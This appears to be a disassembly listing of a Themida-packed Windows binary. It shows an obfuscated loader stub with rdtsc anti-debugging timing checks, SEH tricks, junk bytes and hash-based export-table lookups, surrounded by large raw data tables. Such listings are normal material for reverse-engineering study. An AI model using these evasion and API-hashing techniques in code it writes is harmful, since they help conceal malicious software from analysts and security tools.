dd 94000000h, 7C90EBh, 5 dup(0)
dd 54000000h, 580012FFh, 0A0000000h, 947C80ADh, 7C90EBh
dd 0Bh dup(0)
dd 0F7000000h, 0B51Ch, 1000000h, 5 dup(0)
dd 6C000000h, 836F14h, 5A026E00h, 0FFA313h, 6 dup(0)
dd 5C000000h, 0F9h, 2 dup(0)
dd 0FE000000h, 8EBB97h, 0
dd 0F000000h, 0B218h, 0E9000000h, 35h, 7C000000h, 2 dup(0)
dd 24000000h, 94242424h, 7C90EBh, 5C000000h, 5D2Fh, 31h dup(0)
dd 0A4000000h, 5B56h, 0Eh dup(0)
dd 7C8000h, 3 dup(0)
dd 0F5000000h, 12EBh, 0
dd 5C000000h, 77059596h, 0FF005FDAh, 0FFFFFFh, 8 dup(0)
dd 0E000000h, 7CC960h, 5 dup(0)
dd 0F0000000h, 0B219h, 2 dup(0)
dd 0A1000000h, 9800B2AEh, 94000033h, 7C90EBh, 2 dup(0)
dd 4A000000h, 0FFA01Dh, 8000000h, 0B2B5h, 5 dup(0)
dd 0D0000000h, 3 dup(0)
dd 0D2000000h, 3F4093h, 0FC000000h, 0AAF9h, 3 dup(0)
dd 28000000h, 0FF00B28Bh, 7FDFFFh, 0DE000000h, 0C25FDFh
dd 0
dd 0B8000000h, 22012Bh, 0
dd 26E00h, 2 dup(0)
dd 0B6000000h, 0ED0000AEh, 6CE86h, 4 dup(0)
dd 0F5000000h, 2F162E27h, 6075h, 0
dd 8C000000h, 90000000h, 0FFFFA2h, 90000000h, 76F217h
dd 4 dup(0)
dd 98000000h, 800129A9h, 0FBA51Bh, 20000000h, 7C8047h
dd 3 dup(0)
dd 7F000000h, 0FFA150h, 82004010h, 0C6h, 1A000000h, 0DF006015h
dd 0E4h, 3 dup(0)
dd 1000000h, 4 dup(0)
dd 2D0h, 0Bh dup(0)
dd 69000000h, 7E00B81Eh, 5EAAh, 2 dup(0)
dd 0DA000000h, 7C81CDh, 9 dup(0)
dd 5000000h, 19h dup(0)
dd 87000000h, 56h, 1F000000h, 15E299h, 4 dup(0)
dd 0A3000000h, 83CA17h, 0Dh dup(0)
dd 0C8000000h, 0FF0012FEh, 7Fh, 3 dup(0)
dd 0B8000000h, 0
dd 0B6000000h, 0F38D26h, 14h dup(0)
dd 3B000000h, 0CA005EACh, 73FED3h, 2 dup(0)
dd 88000000h, 7E63D4h, 2 dup(0)
dd 0F6000000h, 557EAFh, 0
dd 77DD00h, 3 dup(0)
dd 0A4000000h, 0B1005B56h, 57FEh, 5A000000h, 94005AF6h
dd 180000EBh, 0B229h, 0Ch dup(0)
dd 0F9000000h, 7C90DDh, 2 dup(0)
dd 0A5000000h, 9005D19h, 67C812Ah, 0E8942B56h, 5, 8 dup(0)
dd 0FF000000h, 0FFFFFFh, 2 dup(0)
dd 7C9000h, 4 dup(0)
dd 0E8000000h, 557E70h, 73000000h, 5263B8h, 6 dup(0)
dd 94000000h, 0EBh, 5 dup(0)
dd 0FB000000h, 0EB1C17D1h, 6D0F7Ch, 7 dup(0)
dd 0B200h, 2Dh dup(0)
dd 0C000000h, 6Bh, 84000000h, 3000000h, 0B2FAh, 4 dup(0)
dd 1, 3 dup(0)
dd 9C000000h, 2 dup(0)
dd 0BF000000h, 17E3FFh, 0
dd 0F4000000h, 0C12564h, 4 dup(0)
dd 6000000h, 5B78h, 0
dd 94000000h, 7C90EBh, 0
dd 61000000h, 0FFFFEBh, 2 dup(0)
dd 47000000h, 7C809Bh, 0Fh dup(0)
dd 0FD000000h, 0FF4D05h, 2 dup(0)
dd 60000000h, 6 dup(0)
dd 30000000h, 5A801EB5h, 5D2Fh, 2 dup(0)
dd 0F9000000h, 302EDh, 3 dup(0)
dd 0B0000000h, 980163FFh, 3 dup(0)
dd 5A000000h, 77DDEEh, 0
dd 0E4000000h, 0B28Eh, 4000h, 3 dup(0)
dd 1000000h, 6 dup(0)
dd 0DA000000h, 7C81CDh, 3 dup(0)
dd 0BD000000h, 6A005F3Ch, 0E9ABh, 3 dup(0)
dd 7E4100h, 90000000h, 0FF9FF6h, 4 dup(0)
dd 54000000h, 5B3Dh, 0Ah dup(0)
dd 0DA000000h, 7C8111h, 0Bh dup(0)
dd 0B9000000h, 7CB29Eh, 13h dup(0)
dd 12000000h, 32D456h, 5 dup(0)
dd 74000000h, 0
dd 0E1000000h, 5F18h, 2 dup(0)
dd 0DE000000h, 5FD5h, 0DE000000h, 7C80ABh, 60000000h, 0FBD364h
dd 3 dup(0)
dd 0C6000000h, 5F10h, 5 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_57EF83: ; CODE XREF: start:loc_57BADAj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 61234B3h
mov [ebp+6121D79h], edx
mov [ebp+61221A1h], esi
mov [ebp+61218FDh], eax
cmp dword ptr [ebp+6122E51h], 0
jz short loc_57EFBB
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_57EFBB: ; CODE XREF: start+6BF99j
mov eax, [esp+40h+var_1C]
mov [ebp+61200C9h], eax
push 45h
call sub_57F06F
push 783749Ah
call sub_57F0B5
push 0A894B25h
call sub_57F0B5
jmp loc_57F1F9
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 45h, 46h, 47h
dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
dd 0C3C2C1C0h, 2 dup(0)
db 3 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_57F06F proc near ; CODE XREF: start+6BFB3p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 61235A1h
mov ebx, edx
mov [ebp+var_28], 0
loc_57F08B: ; CODE XREF: sub_57F06F+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_57F0AA
mov eax, [ebp+arg_0]
mov [ebx+612350Bh], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_57F08B
; ---------------------------------------------------------------------------
loc_57F0AA: ; CODE XREF: sub_57F06F+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_57F06F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_57F0B5 proc near ; CODE XREF: start+6BFBDp start+6BFC7p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 61235EAh
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_57F0DB: ; CODE XREF: sub_57F0B5+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_57F0DB
mov [ebp+var_84], 0
lea edi, [edx+612350Bh]
lea esi, [ebp+var_80]
loc_57F10B: ; CODE XREF: sub_57F0B5+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_57F117: ; CODE XREF: sub_57F0B5+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_57F117
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_57F10B
popa
leave
retn 4
sub_57F0B5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_57F155
; ---------------------------------------------------------------------------
loc_57F151: ; CODE XREF: Themida_:0057F158j
inc dword ptr [ebp-4]
inc esi
loc_57F155: ; CODE XREF: Themida_:0057F14Fj
cmp byte ptr [esi], 0
jnz short loc_57F151
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_57F1E6
; ---------------------------------------------------------------------------
loc_57F167: ; CODE XREF: Themida_:0057F1E9j
mov dword ptr [ebp-8], 0
jmp short loc_57F1DD
; ---------------------------------------------------------------------------
loc_57F170: ; CODE XREF: Themida_:0057F1E1j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_57F1CA
; ---------------------------------------------------------------------------
loc_57F180: ; CODE XREF: Themida_:0057F1CEj
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_57F1A2
cmp bl, 39h
ja short loc_57F1A2
sub bl, 30h
jmp short loc_57F1C4
; ---------------------------------------------------------------------------
loc_57F1A2: ; CODE XREF: Themida_:0057F196j
; Themida_:0057F19Bj
cmp bl, 61h
jb short loc_57F1B4
cmp bl, 66h
ja short loc_57F1B4
sub bl, 61h
add bl, 0Ah
jmp short loc_57F1C4
; ---------------------------------------------------------------------------
loc_57F1B4: ; CODE XREF: Themida_:0057F1A5j
; Themida_:0057F1AAj
cmp bl, 41h
jb short loc_57F1C4
cmp bl, 46h
ja short loc_57F1C4
sub bl, 41h
add bl, 0Ah
loc_57F1C4: ; CODE XREF: Themida_:0057F1A0j
; Themida_:0057F1B2j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_57F1CA: ; CODE XREF: Themida_:0057F17Ej
cmp dword ptr [ebp-0Ch], 2
jb short loc_57F180
cmp dword ptr [ebp-10h], 0
jbe short loc_57F1DA
mov eax, [ebp-10h]
stosb
loc_57F1DA: ; CODE XREF: Themida_:0057F1D4j
inc dword ptr [ebp-8]
loc_57F1DD: ; CODE XREF: Themida_:0057F16Ej
cmp dword ptr [ebp-8], 2
jb short loc_57F170
add edx, 4
loc_57F1E6: ; CODE XREF: Themida_:0057F165j
cmp edx, [ebp-4]
jb loc_57F167
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_57F1F9: ; CODE XREF: start+6BFCCj
mov ecx, 7000h
lea edi, [ebp+6123730h]
loc_57F204: ; CODE XREF: start+6C1F4j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_57F204
mov eax, 48692121h
mov edx, 0F0113000h
sub edx, 0F0000000h
lea eax, [ebp+6123856h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
call sub_57F245
mov eax, 2B097EB1h
or eax, 29596F10h
push ecx
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_57F245 proc near ; CODE XREF: start+6C221p
mov bh, dh
pop ebx
add ebx, 600B0ABBh
push 0
push edx
call sub_57F259
and [edx-3Dh], bl
sub_57F245 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57F259 proc near ; CODE XREF: sub_57F245+Cp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_57F259 endp
; ---------------------------------------------------------------------------
push esp
clc
sub eax, edx
add bx, 0A0A9h
movsx ebx, bx
and eax, 0FFFFF000h
push 0
push eax
call sub_57F285
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F285 proc near ; CODE XREF: Themida_:0057F27Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_57F285 endp
; ---------------------------------------------------------------------------
db 89h, 0C3h, 0C8h
; ---------------------------------------------------------------------------
cli
cli
adc al, 0BDh
mov bh, 73h
sub bx, 0C4D1h
mov ecx, edx
xor edi, edi
loc_57F2A7: ; CODE XREF: Themida_:0057F2C2j
cmp word ptr [eax], 5A4Dh
jnz short loc_57F2BC
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz short loc_57F2C4
loc_57F2BC: ; CODE XREF: Themida_:0057F2ACj
sub eax, 1000h
inc edi
jmp short loc_57F2A7
; ---------------------------------------------------------------------------
loc_57F2C4: ; CODE XREF: Themida_:0057F2BAj
pop large dword ptr fs:0
add esp, 4
lea edx, [ebp+6123869h]
push edx
push large dword ptr fs:0
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_57F2FE
mov esi, [eax+1Ch]
loc_57F2FE: ; CODE XREF: Themida_:0057F2F9j
xor eax, eax
loc_57F300: ; CODE XREF: Themida_:0057F313j
cmp eax, 32h
jz short loc_57F324
cmp word ptr [esi], 5A4Dh
jz short loc_57F315
loc_57F30C: ; CODE XREF: Themida_:0057F322j
sub esi, 10000h
inc eax
jmp short loc_57F300
; ---------------------------------------------------------------------------
loc_57F315: ; CODE XREF: Themida_:0057F30Aj
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_57F366
jmp short loc_57F30C
; ---------------------------------------------------------------------------
loc_57F324: ; CODE XREF: Themida_:0057F303j
pop large dword ptr fs:0
add esp, 4
popa
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
push ebp
call $+5
pop ebp
sub ebp, 6123874h
lea eax, [ebp+6123832h]
mov [ecx+0B8h], eax
pop ebp
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_57F366: ; CODE XREF: Themida_:0057F320j
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
sub bl, 37h
jmp loc_57F37F
; ---------------------------------------------------------------------------
db 0B3h, 8Eh, 3Ch
db 0E1h, 5, 0EBh
; ---------------------------------------------------------------------------
loc_57F37F: ; CODE XREF: Themida_:0057F374j
mov cx, ds
push 0
push ebp
call sub_57F38D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F38D proc near ; CODE XREF: Themida_:0057F385p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_57F38D endp
; ---------------------------------------------------------------------------
db 3Eh, 0A5h, 0B0h
dd 0CD634F75h, 8B666002h, 2860FF3h, 60000000h, 0E1806161h
dd 0EF816004h, 2DD09C5Bh, 60B3DBAh, 0C90A612Ch, 30850Fh
dd 0E9600000h, 0Ch, 68F8D660h, 92ADE732h, 0F20BD415h, 0E985C761h
dd 106120Eh, 51000000h, 5BDBBF0Fh, 31E9h, 3830F00h, 80000000h
dd 85C71DDFh, 6120EE9h, 0
dd 0AE8D98Bh, 0D000000h, 3B824DFAh, 0C5056387h, 7E941h
dd 0E4BC0000h, 0B075231Eh, 85895B25h, 61217F1h, 171DF381h
dd 8589587Fh, 6123101h, 10E8h, 8F1F300h, 58283F1Eh, 426E927Ch
dd 78817F7h, 0D0BF0FF8h, 0C781F85Fh, 6549h, 12E9h, 4B1A7500h
dd 0DC6310F1h, 0FDDB65AAh, 9B1B399Dh, 332158B3h, 0D18B66DBh
dd 0F1F048Bh, 0C081CFB7h, 10A74D13h, 0C081D08Bh, 59E0C85Ah
dd 75C68160h, 535CC9D5h, 11E8h, 0AB624900h, 0E35EDF72h
dd 2AF2CF00h, 6D6719ECh, 5A5B04B9h, 10C08161h, 0F90E9517h
dd 0A0B96650h, 1F048F89h, 3870Fh, 0BF0F0000h, 0F2BF0FD0h
dd 0F03EB83h, 689h, 0A0E68100h, 4B742869h, 0FE9h, 5CBCBA00h
dd 854FA703h, 21CCA67Ah, 1F69C782h, 9B9CFB81h, 850FFFFFh
dd 1Bh, 50E98166h, 28E9B5h, 7900000h, 0A7E527B0h, 597134F1h
dd 0F525FFCBh, 0F53C9573h, 0FFFF5FE9h, 8C14ABFFh, 3B15C384h
dd 0A0680680h, 9CB46D18h, 10E828A2h, 0E7000000h, 88C7FBBCh
dd 0C42209D7h, 0D211D220h, 66FE7278h, 58D7C6BEh, 0C081FB8Bh
dd 5B03h, 6F0BCE81h, 0BA6D57h, 0F000000h, 98Eh, 3880F00h
dd 0F000000h, 0C8BFBBFh, 0E981F810h, 83AD86Ah, 2D1AC181h
dd 0F08B68AEh, 8DCAE981h, 860F0935h, 2, 0C89D98Bh, 1890F10h
dd 0F5000000h, 83BDDB80h, 816602EAh, 4A16BCC3h, 1E880F4Ah
dd 0E8000000h, 12h, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h, 0ADD80670h
dd 890F1CCDh, 0
; ---------------------------------------------------------------------------
pop edi
cmp edx, 0FFFFA5D0h
jnz loc_57F5DB
adc esi, 723C3A99h
jmp loc_57F5FE
; ---------------------------------------------------------------------------
cdq
cmp esi, esp
mov ch, 0C4h
lodsd
add ebp, ebx
dec esi
das
sahf
loc_57F5DB: ; CODE XREF: Themida_:0057F5BFj
push ecx
jz loc_57F5E5
mov si, ax
loc_57F5E5: ; CODE XREF: Themida_:0057F5DCj
pop edi
jmp near ptr dword_57F404+15Ah
; ---------------------------------------------------------------------------
db 20h
dd 4D2C5FCh, 0B761E00Fh, 3E5B3F87h, 89B2B49Bh
db 0C1h, 0DBh
; ---------------------------------------------------------------------------
loc_57F5FE: ; CODE XREF: Themida_:0057F5CBj
jmp short loc_57F604
; ---------------------------------------------------------------------------
dd 21Bh
; ---------------------------------------------------------------------------
loc_57F604: ; CODE XREF: Themida_:loc_57F5FEj
jmp loc_57FDA7
; ---------------------------------------------------------------------------
pusha
mov ah, 94h
jmp loc_57F621
; ---------------------------------------------------------------------------
stosb
mov bl, [edi+68h]
push ebx
xchg eax, edx
mov edx, [ecx-6Eh]
shl ebp, 1
mov eax, ds:1D52426Bh
loc_57F621: ; CODE XREF: Themida_:0057F60Cj
popa
pusha
mov [ebp+612270Dh], edi
sub eax, eax
cld
mov edx, [esp+28h]
jo loc_57F64F
jnb loc_57F64F
jmp loc_57F64F
; ---------------------------------------------------------------------------
inc ebx
cmpsb
sti
icebp
and cl, bh
or bh, ds:0E49373CBh
inc edi
loc_57F64F: ; CODE XREF: Themida_:0057F630j
; Themida_:0057F636j ...
mov [ebp+61219D1h], eax
mov [ebp+6120435h], edi
mov esi, 3Ch
jbe loc_57F66C
add [ebp+6122DBDh], ecx
loc_57F66C: ; CODE XREF: Themida_:0057F660j
add esi, [esp+24h]
cld
lodsw
mov [ebp+6123305h], edi
add eax, [esp+24h]
mov [ebp+612255Dh], ebx
nop
push eax
push edx
jmp loc_57F698
; ---------------------------------------------------------------------------
imul dword ptr [ebp+49h]
adc [edi-4F5811CDh], edi
xchg ebx, [esi+1Bh]
cmpsb
loc_57F698: ; CODE XREF: Themida_:0057F686j
rdtsc
jnz loc_57F6A6
push eax
push edx
rdtsc
pop edx
pop eax
loc_57F6A6: ; CODE XREF: Themida_:0057F69Aj
pop edx
pop eax
push eax
push eax
push edx
js loc_57F6B7
jo $+6
loc_57F6B7: ; CODE XREF: Themida_:0057F6ABj
rdtsc
push eax
push edx
pusha
popa
rdtsc
jge $+6
pop edx
pop eax
pop edx
pop eax
nop
pusha
mov ebx, [ebp+6122209h]
jmp loc_57F6E6
; ---------------------------------------------------------------------------
dw 8F67h
dd 7A86D45Ah, 32A2CE59h, 0DD1535A9h
db 0FAh, 0BDh
; ---------------------------------------------------------------------------
loc_57F6E6: ; CODE XREF: Themida_:0057F6D1j
popa
stc
mov eax, [eax+78h]
stc
add eax, [esp+28h]
pusha
xor cx, 0BBE7h
popa
mov eax, [eax+18h]
jmp loc_57F709
; ---------------------------------------------------------------------------
db 0E1h
; ---------------------------------------------------------------------------
or al, 0B1h
mov dh, [ebx+eax+1A4B35BFh]
loc_57F709: ; CODE XREF: Themida_:0057F6FAj
inc eax
jnp loc_57F716
xor [ebp+6122A35h], eax
loc_57F716: ; CODE XREF: Themida_:0057F70Aj
mov [ebp+6123B26h], eax
or [ebp+6123075h], edx
pop eax
sub [ebp+612210Dh], edi
or [ebp+612245Dh], ecx
mov esi, [eax+78h]
cmc
add esi, 1Ch
js loc_57F750
jmp loc_57F750
; ---------------------------------------------------------------------------
db 0BBh, 0ECh, 98h
; ---------------------------------------------------------------------------
dec ebx
jmp dword ptr [ebp-339CFFD9h]
; ---------------------------------------------------------------------------
align 4
dd 507EE667h
; ---------------------------------------------------------------------------
loc_57F750: ; CODE XREF: Themida_:0057F736j
; Themida_:0057F73Cj
add esi, [esp+24h]
jmp loc_57F76D
; ---------------------------------------------------------------------------
db 96h, 0E5h, 0E0h
dd 4E186BE7h, 0EDA3087Ch, 0E8D0168Eh, 0CEA99DADh
db 0F2h
; ---------------------------------------------------------------------------
loc_57F76D: ; CODE XREF: Themida_:0057F754j
lea edi, [ebp+6122559h]
pusha
jmp loc_57F77E
; ---------------------------------------------------------------------------
mov ds:47F07685h, eax
loc_57F77E: ; CODE XREF: Themida_:0057F774j
pusha
sub cx, 3D3Ah
mov [ebp+61202F5h], esi
popa
popa
lodsd
clc
jmp loc_57F7A0
; ---------------------------------------------------------------------------
db 5Eh
dd 1DC5C9F6h, 793F7520h, 2BF2B6AEh
; ---------------------------------------------------------------------------
loc_57F7A0: ; CODE XREF: Themida_:0057F78Ej
add eax, [esp+24h]
pusha
push ebx
mov edx, [ebp+6122445h]
pop edx
clc
popa
jb loc_57F7BB
sub [ebp+61223B5h], ebx
loc_57F7BB: ; CODE XREF: Themida_:0057F7AFj
stosd
pusha
jnb loc_57F7C5
push ebx
pop edi
loc_57F7C5: ; CODE XREF: Themida_:0057F7BDj
mov cx, bx
popa
jmp loc_57F7E2
; ---------------------------------------------------------------------------
dw 19A2h
dd 0A2F2378Dh, 5F317A2Eh, 41441349h, 6A3D63BFh
db 0A4h, 0E5h
; ---------------------------------------------------------------------------
loc_57F7E2: ; CODE XREF: Themida_:0057F7C9j
lea edi, [ebp+6122FF9h]
or [ebp+6122D29h], edx
lodsd
jmp loc_57F7FD
; ---------------------------------------------------------------------------
dd 0A5F3CFE7h, 0E405E013h
db 81h
; ---------------------------------------------------------------------------
loc_57F7FD: ; CODE XREF: Themida_:0057F7EFj
add eax, [esp+24h]
jmp loc_57F818
; ---------------------------------------------------------------------------
pop eax
sti
mov bl, 38h
adc al, [ebx-46A49FCEh]
stosb
xor [esi], bl
push edi
add [edi], esp
cmp al, 0C8h
loc_57F818: ; CODE XREF: Themida_:0057F801j
nop
push eax
push edx
jmp loc_57F831
; ---------------------------------------------------------------------------
dd 2FDAF3AEh, 61724DEAh, 0E9E98711h, 96AA6FCBh
db 9Ah
; ---------------------------------------------------------------------------
loc_57F831: ; CODE XREF: Themida_:0057F81Bj
rdtsc
push eax
push edx
jmp loc_57F843
; ---------------------------------------------------------------------------
dw 7E54h
dd 790802B6h
; ---------------------------------------------------------------------------
mov cl, 0CDh
clc
loc_57F843: ; CODE XREF: Themida_:0057F835j
rdtsc
push eax
push edx
rdtsc
pop edx
pop eax
pop edx
pop eax
pop edx
pop eax
push eax
push eax
push edx
jnz loc_57F85E
jp $+6
loc_57F85E: ; CODE XREF: Themida_:0057F852j
rdtsc
pusha
push ecx
pop esi
mov cx, 115Ah
popa
pop edx
pop eax
nop
mov [ebp+6122755h], eax
stosd
stc
stc
lea edi, [ebp+612275Dh]
add [ebp+612167Dh], ebx
lodsd
clc
add eax, [esp+28h]
jb loc_57F892
mov [ebp+6121701h], edx
loc_57F892: ; CODE XREF: Themida_:0057F886j
stosd
sub [ebp+6122F4Dh], esi
pop esi
pusha
mov esi, [ebp+6120779h]
popa
loc_57F8A2: ; CODE XREF: Themida_:0057F92Ej
dec dword ptr [ebp+6123B26h]
cmp dword ptr [ebp+6123B26h], 0
jnz short loc_57F8C1
mov dword ptr [esp+1Ch], 0
lea esi, [ebp+61240A6h]
jmp esi
; ---------------------------------------------------------------------------
loc_57F8C1: ; CODE XREF: Themida_:0057F8AFj
push esi
lodsd
add eax, [esp+28h]
xchg eax, edi
mov ebx, edi
mov al, [ebp+61215C1h]
test al, al
jz short loc_57F8D8
cmp al, [edi]
jnz short loc_57F924
loc_57F8D8: ; CODE XREF: Themida_:0057F8D2j
push edi
xor al, al
loc_57F8DB: ; CODE XREF: Themida_:0057F8DCj
scasb
jnz short loc_57F8DB
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
loc_57F8E8: ; CODE XREF: Themida_:0057F911j
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
loc_57F8F5: ; CODE XREF: Themida_:0057F94Bj
mov dh, 8
loc_57F8F7: ; CODE XREF: Themida_:0057F90Aj
shr bx, 1
rcr ax, 1
jnb short loc_57F908
xor ax, 5041h
xor bx, 5449h
loc_57F908: ; CODE XREF: Themida_:0057F8FDj
dec dh
jnz short loc_57F8F7
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_57F8E8
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edx
cmp edx, eax
jz short loc_57F933
loc_57F924: ; CODE XREF: Themida_:0057F8D6j
pop esi
add esi, 4
inc dword ptr [ebp+61219D1h]
jmp loc_57F8A2
; ---------------------------------------------------------------------------
loc_57F933: ; CODE XREF: Themida_:0057F922j
pop esi
stc
sub [ebp+61226B9h], ecx
jmp loc_57F94D
; ---------------------------------------------------------------------------
movsb
and edi, [ebx-52h]
mov al, ds:78F6BFAEh
setalc
inc eax
loopne loc_57F8F5
loc_57F94D: ; CODE XREF: Themida_:0057F93Bj
mov eax, [ebp+61219D1h]
js loc_57F967
pusha
mov esi, [ebp+61231E1h]
mov [ebp+6121D7Dh], edx
popa
loc_57F967: ; CODE XREF: Themida_:0057F953j
mov [ebp+61207B5h], ebx
shl eax, 1
pusha
mov di, 1795h
add si, 89F5h
popa
pusha
mov edx, [ebp+6122DD1h]
mov eax, [ebp+612189Dh]
popa
add eax, [ebp+612275Dh]
jz loc_57F99A
sub [ebp+6121F09h], esi
loc_57F99A: ; CODE XREF: Themida_:0057F98Ej
pusha
mov edx, [ebp+612245Dh]
mov ah, cl
popa
mov esi, 0
jg loc_57F9CA
jns loc_57F9CA
jmp loc_57F9CA
; ---------------------------------------------------------------------------
push es
push ecx
mov dword ptr [esi], 0BCA117Ah
pop eax
or [ebp-5Fh], edi
adc edi, [edi+ebx+32h]
loc_57F9CA: ; CODE XREF: Themida_:0057F9A9j
; Themida_:0057F9AFj ...
sub [ebp+6122145h], ebx
xchg eax, esi
mov [ebp+6122DA9h], esi
lodsw
xor [ebp+61222D9h], ebx
shl eax, 2
mov [ebp+61217D5h], esi
add eax, [ebp+6122559h]
mov [ebp+6123241h], edi
xchg eax, esi
stc
lodsd
jmp loc_57FA05
; ---------------------------------------------------------------------------
dd 875BD615h, 90513943h
db 0F2h
; ---------------------------------------------------------------------------
loc_57FA05: ; CODE XREF: Themida_:0057F9F7j
ja loc_57FA11
sub [ebp+6122381h], edi
loc_57FA11: ; CODE XREF: Themida_:loc_57FA05j
mov ecx, [esp+24h]
pusha
jnz loc_57FA2F
jmp loc_57FA2F
; ---------------------------------------------------------------------------
db 18h, 2Ch, 0ADh
dd 0CEF6DDF9h, 0ABB7801h
db 0D7h, 1Bh, 89h
; ---------------------------------------------------------------------------
loc_57FA2F: ; CODE XREF: Themida_:0057FA16j
; Themida_:0057FA1Cj
add ecx, 6DE908A4h
popa
add eax, [esp+24h]
jmp loc_57FA51
; ---------------------------------------------------------------------------
db 0C1h
dd 0AEEB67B7h, 8E1E4990h, 83CD4A81h, 7C333597h
; ---------------------------------------------------------------------------
aas
loc_57FA51: ; CODE XREF: Themida_:0057FA3Aj
mov [esp+1Ch], eax
stc
add [ebp+6120785h], edi
xchg eax, esi
or [ebp+6122D21h], esi
cld
lodsb
mov [ebp+6122C39h], ecx
xor cl, cl
mov [ebp+6121299h], eax
jmp loc_57FA7D
; ---------------------------------------------------------------------------
dd 4443E44Fh
; ---------------------------------------------------------------------------
icebp
loc_57FA7D: ; CODE XREF: Themida_:0057FA73j
inc cl
xor [ebp+6122099h], edi
or [ebp+6122D15h], edi
loc_57FA8B: ; CODE XREF: Themida_:0057FAE4j
rcl al, 1
jnb loc_57FB80
ja loc_57FAAC
jmp loc_57FAAC
; ---------------------------------------------------------------------------
cmc
das
fbstp tbyte ptr [ebp+54h]
pop ecx
adc bl, bl
inc cl
retn 0CF0Eh
; ---------------------------------------------------------------------------
db 10h
; ---------------------------------------------------------------------------
loc_57FAAC: ; CODE XREF: Themida_:0057FA93j
; Themida_:0057FA99j
rcl al, 1
jnb loc_57FB80
jmp loc_57FAC2
; ---------------------------------------------------------------------------
push ds
and esi, [ebp-50h]
and eax, 0C098ABC0h
loc_57FAC2: ; CODE XREF: Themida_:0057FAB4j
rcl al, 1
jb loc_57FB80
mov [ebp+6120435h], eax
rcl al, 1
jb loc_57FB80
jmp loc_57FAE2
; ---------------------------------------------------------------------------
db 0DEh, 0DCh, 0D7h
db 0CDh, 4Eh
; ---------------------------------------------------------------------------
loc_57FAE2: ; CODE XREF: Themida_:0057FAD8j
dec cl
jns loc_57FA8B
jmp loc_57FAF4
